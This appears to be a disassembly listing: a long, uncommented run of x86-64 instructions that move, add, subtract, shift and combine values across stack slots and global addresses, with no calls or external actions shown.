mov rcx, qword [rsp + 0x4ac0]
mov qword [rsp + 0x52f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x52f0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5188]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x6f]
movzx ecx, byte [rsp + 0x70]
and eax, ecx
mov rcx, qword [0x14017a090]
mov byte [rcx], al
mov rax, qword [rsp + 0x5030]
movzx eax, byte [rax]
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x75]
add eax, ecx
mov byte [rsp + 0x67], al
movzx eax, word [rsp + 0x8cc]
movzx ecx, word [0x14017a0c8]
sub eax, ecx
mov word [rsp + 0x918], ax
mov rax, qword [rsp + 0x4ff0]
movzx eax, byte [rax]
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x2aa0]
mov ecx, dword [rsp + 0x2aac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ab4], eax
mov rax, qword [rsp + 0x4f10]
mov rax, qword [rax]
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x52a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
lea rax, [rsp + 0x6e]
mov qword [0x14017a138], rax
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
mov word [rsp + 0x91c], ax
movsx eax, word [rsp + 0x8e8]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov word [rcx], ax
lea rax, [rsp + 0x8ac]
mov qword [rsp + 0x5300], rax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5058]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5098]
mov byte [rcx], al
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x51e8], rax
lea rax, [rsp + 0x2ab8]
mov qword [rsp + 0x5308], rax
mov rax, qword [rsp + 0x4f78]
mov rcx, qword [str.kD3]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fc0], rax
lea rax, [rsp + 0x2a74]
mov qword [rsp + 0x5310], rax
movzx eax, byte [rsp + 0x57]
mov rcx, qword [rsp + 0x5128]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x5208]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140178e90], ax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x5318], rax
movzx eax, word [rsp + 0x918]
movzx ecx, word [0x140178e68]
sar eax, cl
mov rcx, qword [rsp + 0x50a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x51f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72]
shl eax, cl
mov byte [rsp + 0x53], al
lea rax, [rsp + 0x4ce8]
mov qword [rsp + 0x5320], rax
mov rax, qword [rsp + 0x50e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a70], eax
lea rax, [rsp + 0x2a50]
mov qword [rsp + 0x5328], rax
mov rax, qword [rsp + 0x4eb0]
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5030]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64]
sub eax, ecx
mov rcx, qword [rsp + 0x5030]
mov byte [rcx], al
movsx eax, word [rsp + 0x860]
movsx ecx, word [rsp + 0x870]
sub eax, ecx
mov word [0x140178eb4], ax
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x7a], al
movsx eax, byte [rsp + 0x6c]
mov rcx, qword [0x14017a128]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0x8a4]
mov word [rsp + 0x920], ax
mov rax, qword [rsp + 0x5288]
mov rcx, qword [rsp + 0x4ea0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5288]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29dc]
mov ecx, dword [rsp + 0x2abc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a9c], eax
mov eax, dword [rsp + 0x2ac0]
mov dword [rsp + 0x2ac8], eax
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x5100]
movzx eax, word [rax]
mov word [rsp + 0x924], ax
mov rax, qword [rsp + 0x4f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [0x140178e5e], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x884], ax
movsx eax, byte [0x140178e6b]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x52d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f98]
movzx eax, word [rax]
mov word [rsp + 0x928], ax
mov rax, qword [rsp + 0x5170]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2ac0]
shr eax, cl
mov dword [rsp + 0x29e4], eax
lea rax, [0x14017a060]
mov qword [rsp + 0x5330], rax
mov rax, qword [rsp + 0x4ea0]
movzx ecx, al
mov rax, qword [rsp + 0x4e88]
shl rax, cl
mov rcx, qword [rsp + 0x51d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov qword [rsp + 0x5338], rax
movzx eax, word [rsp + 0x928]
movzx ecx, word [rsp + 0x918]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov word [0x14017a140], ax
mov rax, qword [rsp + 0x50e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d4]
and eax, ecx
mov word [rsp + 0x920], ax
lea rax, [0x140178e5d]
mov qword [rsp + 0x5340], rax
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73]
add eax, ecx
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
mov word [rsp + 0x92c], ax
mov rax, qword [rsp + 0x5320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5278]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5180], rax
mov eax, dword [rsp + 0x2a64]
mov ecx, dword [rsp + 0x2a8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a74], eax
mov rax, qword [rsp + 0x5000]
mov rax, qword [rax]
mov qword [rsp + 0x5348], rax
mov rax, qword [rsp + 0x5238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a3c], eax
lea rax, [rsp + 0x67]
mov qword [0x14017a148], rax
mov rax, qword [rsp + 0x52d0]
movzx eax, byte [rax]
mov byte [rsp + 0x7b], al
movsx eax, word [rsp + 0x880]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov word [rcx], ax
mov rax, qword [rsp + 0x52c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8e0]
sub eax, ecx
mov word [rsp + 0x910], ax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x5350], rax
mov rax, qword [rsp + 0x4ec8]
mov rcx, qword [rsp + 0x5050]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4e88], rax
mov eax, dword [rsp + 0x2a40]
mov dword [rsp + 0x2acc], eax
mov rax, qword [rsp + 0x5080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5338]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5198], rax
mov rax, qword [rsp + 0x5328]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5308]
mov qword [rsp + 0x5358], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5358]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ac4], eax
movsx eax, word [rsp + 0x88c]
mov rcx, qword [rsp + 0x5300]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a0e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5120]
movzx eax, byte [rax]
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x4e70]
movzx eax, word [rax]
movzx ecx, word [0x14017a0c8]
xor eax, ecx
mov word [rsp + 0x8c0], ax
movzx eax, byte [rsp + 0x6b]
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5100]
mov word [rcx], ax
lea rax, [0x14017a058]
mov qword [rsp + 0x5360], rax
mov rax, qword [rsp + 0x5220]
mov ecx, dword [rsp + 0x2a8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a7c], eax
mov rax, qword [rsp + 0x52d8]
mov rcx, qword [rsp + 0x4f40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5258]
mov qword [rcx], rax
lea rax, [rsp + 0x28ac]
mov qword [rsp + 0x5368], rax
movzx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0x5040]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178e73], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x51c8]
mov word [rcx], ax
mov rax, qword [0x14017a070]
movzx eax, byte [rax]
mov byte [rsp + 0x7e], al
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x5098]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x51b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x51e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8f0], ax
mov eax, dword [rsp + 0x2ab8]
mov dword [rsp + 0x2ad0], eax
mov rax, qword [rsp + 0x50f8]
mov rcx, qword [rsp + 0x4aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2aa0], eax
lea rax, [rsp + 0x5178]
mov qword [rsp + 0x5370], rax
mov rax, qword [rsp + 0x4ec8]
mov rcx, qword [rsp + 0x4fe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4fd0], rax
mov rax, qword [rsp + 0x5120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5318]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a088]
mov byte [rcx], al
movzx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x4ff8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x75], al
lea rax, [rsp + 0x914]
mov qword [rsp + 0x5378], rax
mov rax, qword [rsp + 0x5028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8a0], ax
movzx eax, byte [rsp + 0x6d]
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0x4f78]
mov rcx, qword [rsp + 0x4c80]
mov qword [rsp + 0x5380], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5380]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5338], rax
lea rax, [rsp + 0x2a48]
mov qword [rsp + 0x5388], rax
mov rax, qword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0x51b0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ec8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2abc]
mov ecx, dword [rsp + 0x2a94]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a9c], eax
mov rax, qword [rsp + 0x5048]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x880]
shl eax, cl
mov word [0x140178ea0], ax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5208]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
lea rax, [rsp + 0x5a]
mov qword [rsp + 0x5390], rax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73]
add eax, ecx
mov rcx, qword [rsp + 0x4f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x5110]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5178], rax
lea rax, [rsp + 0x2ab8]
mov qword [rsp + 0x5398], rax
mov rax, qword [rsp + 0x5288]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5140]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b30], rax
lea rax, [rsp + 0x2aac]
mov qword [rsp + 0x53a0], rax
lea rax, [rsp + 0x908]
mov qword [0x14017a150], rax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x51f0]
mov byte [rcx], al
movzx eax, word [0x140178e68]
movzx ecx, word [rsp + 0x8bc]
add eax, ecx
mov word [rsp + 0x8c4], ax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x53a8], rax
movzx eax, word [rsp + 0x894]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8e0], ax
mov rax, qword [str.kD3]
mov qword [rsp + 0x53b0], rax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ed8], rax
mov rax, qword [rsp + 0x5398]
mov rcx, qword [rsp + 0x5060]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5368]
mov dword [rcx], eax
lea rax, [rsp + 0x2acc]
mov qword [rsp + 0x53b8], rax
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x51b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140178eb8], ax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [0x140178e73]
xor eax, ecx
mov rcx, qword [rsp + 0x5058]
mov byte [rcx], al
movzx eax, word [rsp + 0x914]
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x6e]
mov rcx, qword [rsp + 0x4ff0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4f68]
mov byte [rcx], al
movzx eax, word [rsp + 0x924]
mov word [rsp + 0x934], ax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29dc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x53b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5198], rax
lea rax, [rsp + 0x4e88]
mov qword [rsp + 0x53c0], rax
mov rax, qword [rsp + 0x4f20]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2acc], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x53c8], rax
movzx eax, byte [rsp + 0x70]
movzx ecx, byte [rsp + 0x6f]
add eax, ecx
mov byte [0x140178e5f], al
mov rax, qword [rsp + 0x4ee0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x880]
add eax, ecx
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
sub eax, ecx
mov word [rsp + 0x8a8], ax
mov rax, qword [0x14017a0b8]
movzx eax, byte [rax]
mov byte [rsp + 0x81], al
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2a70]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a04], eax
lea rax, [rsp + 0x2ab8]
mov qword [rsp + 0x53d0], rax
mov rax, qword [rsp + 0x4f00]
mov rcx, qword [rsp + 0x5180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e88], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4eb0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5198], rax
movzx eax, word [rsp + 0x874]
mov word [rsp + 0x938], ax
movzx eax, byte [rsp + 0x77]
mov byte [0x14017a055], al
mov rax, qword [rsp + 0x4e70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4f98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x86c], ax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x53d8], rax
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x4e78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5128]
mov byte [rcx], al
lea rax, [rsp + 0x2a90]
mov qword [rsp + 0x53e0], rax
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e60]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b30]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5258]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a64]
mov dword [rsp + 0x2ad4], eax
movsx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4fb0]
movzx eax, word [rax]
movzx ecx, word [0x140178eac]
sar eax, cl
mov rcx, qword [0x14017a0d8]
mov word [rcx], ax
lea rax, [rsp + 0x868]
mov qword [rsp + 0x53e8], rax
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5040]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5248]
mov byte [rcx], al
mov rax, qword [rsp + 0x52d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a70]
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4f10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
lea rax, [rsp + 0x4fa8]
mov qword [rsp + 0x53f0], rax
mov rax, qword [rsp + 0x5160]
mov ecx, dword [rsp + 0x2a5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a94], eax
mov rax, qword [rsp + 0x53e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5028]
mov word [rcx], ax
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [rsp + 0x5d]
add eax, ecx
mov rcx, qword [0x14017a138]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
mov word [rsp + 0x93c], ax
movzx eax, word [rsp + 0x93c]
movzx ecx, word [rsp + 0x884]
and eax, ecx
mov word [rsp + 0x8ec], ax
movzx eax, byte [0x140178e73]
mov byte [rsp + 0x82], al
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x53d0]
mov ecx, dword [rsp + 0x2a9c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a34], eax
mov rax, qword [0x140178e78]
mov qword [rsp + 0x53f8], rax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4f28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x52a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a4c]
mov dword [rsp + 0x2adc], eax
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8e8]
shl eax, cl
mov word [0x140178ebc], ax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x61]
sar eax, cl
mov byte [rsp + 0x51], al
lea rax, [rsp + 0x8c0]
mov qword [rsp + 0x5400], rax
mov rax, qword [rsp + 0x5048]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d0]
xor eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov word [rcx], ax
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x904]
or eax, ecx
mov word [rsp + 0x8cc], ax
lea rax, [rsp + 0x2ab8]
mov qword [rsp + 0x5408], rax
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x50f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a18], eax
lea rax, [rsp + 0x4fd0]
mov qword [rsp + 0x5410], rax
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x5228]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x52b8], rax
movzx eax, byte [rsp + 0x77]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov byte [0x140178e74], al
movsx eax, word [rsp + 0x8ac]
mov rcx, qword [rsp + 0x50e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5098]
movzx eax, byte [rax]
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x50d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8d8]
add eax, ecx
mov word [rsp + 0x864], ax
lea rax, [rsp + 0x74]
mov qword [rsp + 0x5418], rax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x5198]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x5330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5408]
mov dword [rcx], eax
lea rax, [rsp + 0x4f00]
mov qword [rsp + 0x5420], rax
mov rax, qword [rsp + 0x50d0]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a4c], eax
movzx eax, word [rsp + 0x910]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a0c8], ax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x5428], rax
movsx eax, word [rsp + 0x87c]
mov rcx, qword [0x14017a068]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
movsx eax, byte [rsp + 0x76]
mov rcx, qword [rsp + 0x4ff0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x56], al
lea rax, [rsp + 0x69]
mov qword [rsp + 0x5430], rax
mov eax, dword [0x14017a060]
movzx ecx, al
mov eax, dword [rsp + 0x2a84]
shl eax, cl
mov dword [rsp + 0x2abc], eax
lea rax, [rsp + 0x53f8]
mov qword [rsp + 0x5438], rax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4ee8]
mov qword [rcx], rax
mov eax, dword [0x140178e8c]
mov dword [rsp + 0x2ae0], eax
movsx eax, word [rsp + 0x900]
mov rcx, qword [rsp + 0x4ee0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178eb4], ax
movzx eax, byte [rsp + 0x57]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [0x14017a0b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x50a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x52c0]
mov word [rcx], ax
lea rax, [rsp + 0x7e]
mov qword [rsp + 0x5440], rax
mov rax, qword [rsp + 0x5208]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x53e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x53d8]
mov word [rcx], ax
lea rax, [0x140178e60]
mov qword [rsp + 0x5448], rax
mov eax, dword [rsp + 0x2970]
mov ecx, dword [rsp + 0x2a90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2adc]
mov ecx, dword [rsp + 0x2ad8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x4b78]
mov qword [rsp + 0x5450], rax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov byte [0x14017a056], al
movzx eax, byte [rsp + 0x73]
mov rcx, qword [rsp + 0x51f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [0x14017a098]
movzx eax, word [rax]
mov word [rsp + 0x940], ax
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75]
add eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x5318]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x5320]
mov rax, qword [rax]
mov qword [rsp + 0x5458], rax
mov rax, qword [rsp + 0x5450]
mov rcx, qword [rsp + 0x52b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5020]
mov eax, dword [rax]
mov dword [rsp + 0x2ae4], eax
mov rax, qword [rsp + 0x5388]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b80]
mov qword [rsp + 0x5460], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5460]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5310]
mov dword [rcx], eax
lea rax, [rsp + 0x910]
mov qword [0x14017a158], rax
lea rax, [rsp + 0x57]
mov qword [rsp + 0x5468], rax
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5378]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x864], ax
mov rax, qword [0x14017a070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x53e8]
movzx eax, word [rax]
mov word [rsp + 0x944], ax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [0x140178e78]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x51b0], rax
lea rax, [rsp + 0x2a88]
mov qword [rsp + 0x5470], rax
mov rax, qword [rsp + 0x5178]
mov rcx, qword [rsp + 0x52f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e60], rax
mov rax, qword [rsp + 0x4f08]
mov rcx, qword [rsp + 0x53a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ac8], eax
movzx eax, byte [rsp + 0x70]
movzx ecx, byte [rsp + 0x63]
and eax, ecx
mov rcx, qword [0x14017a0c0]
mov byte [rcx], al
lea rax, [rsp + 0x8c4]
mov qword [rsp + 0x5478], rax
mov rax, qword [rsp + 0x4f98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8e0]
add eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov word [rcx], ax
mov rax, qword [rsp + 0x51e0]
movzx eax, word [rax]
mov word [rsp + 0x948], ax
mov rax, qword [rsp + 0x53a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x81]
sub eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x5258]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4f00], rax
lea rax, [rsp + 0x4ac8]
mov qword [rsp + 0x5480], rax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ad8], eax
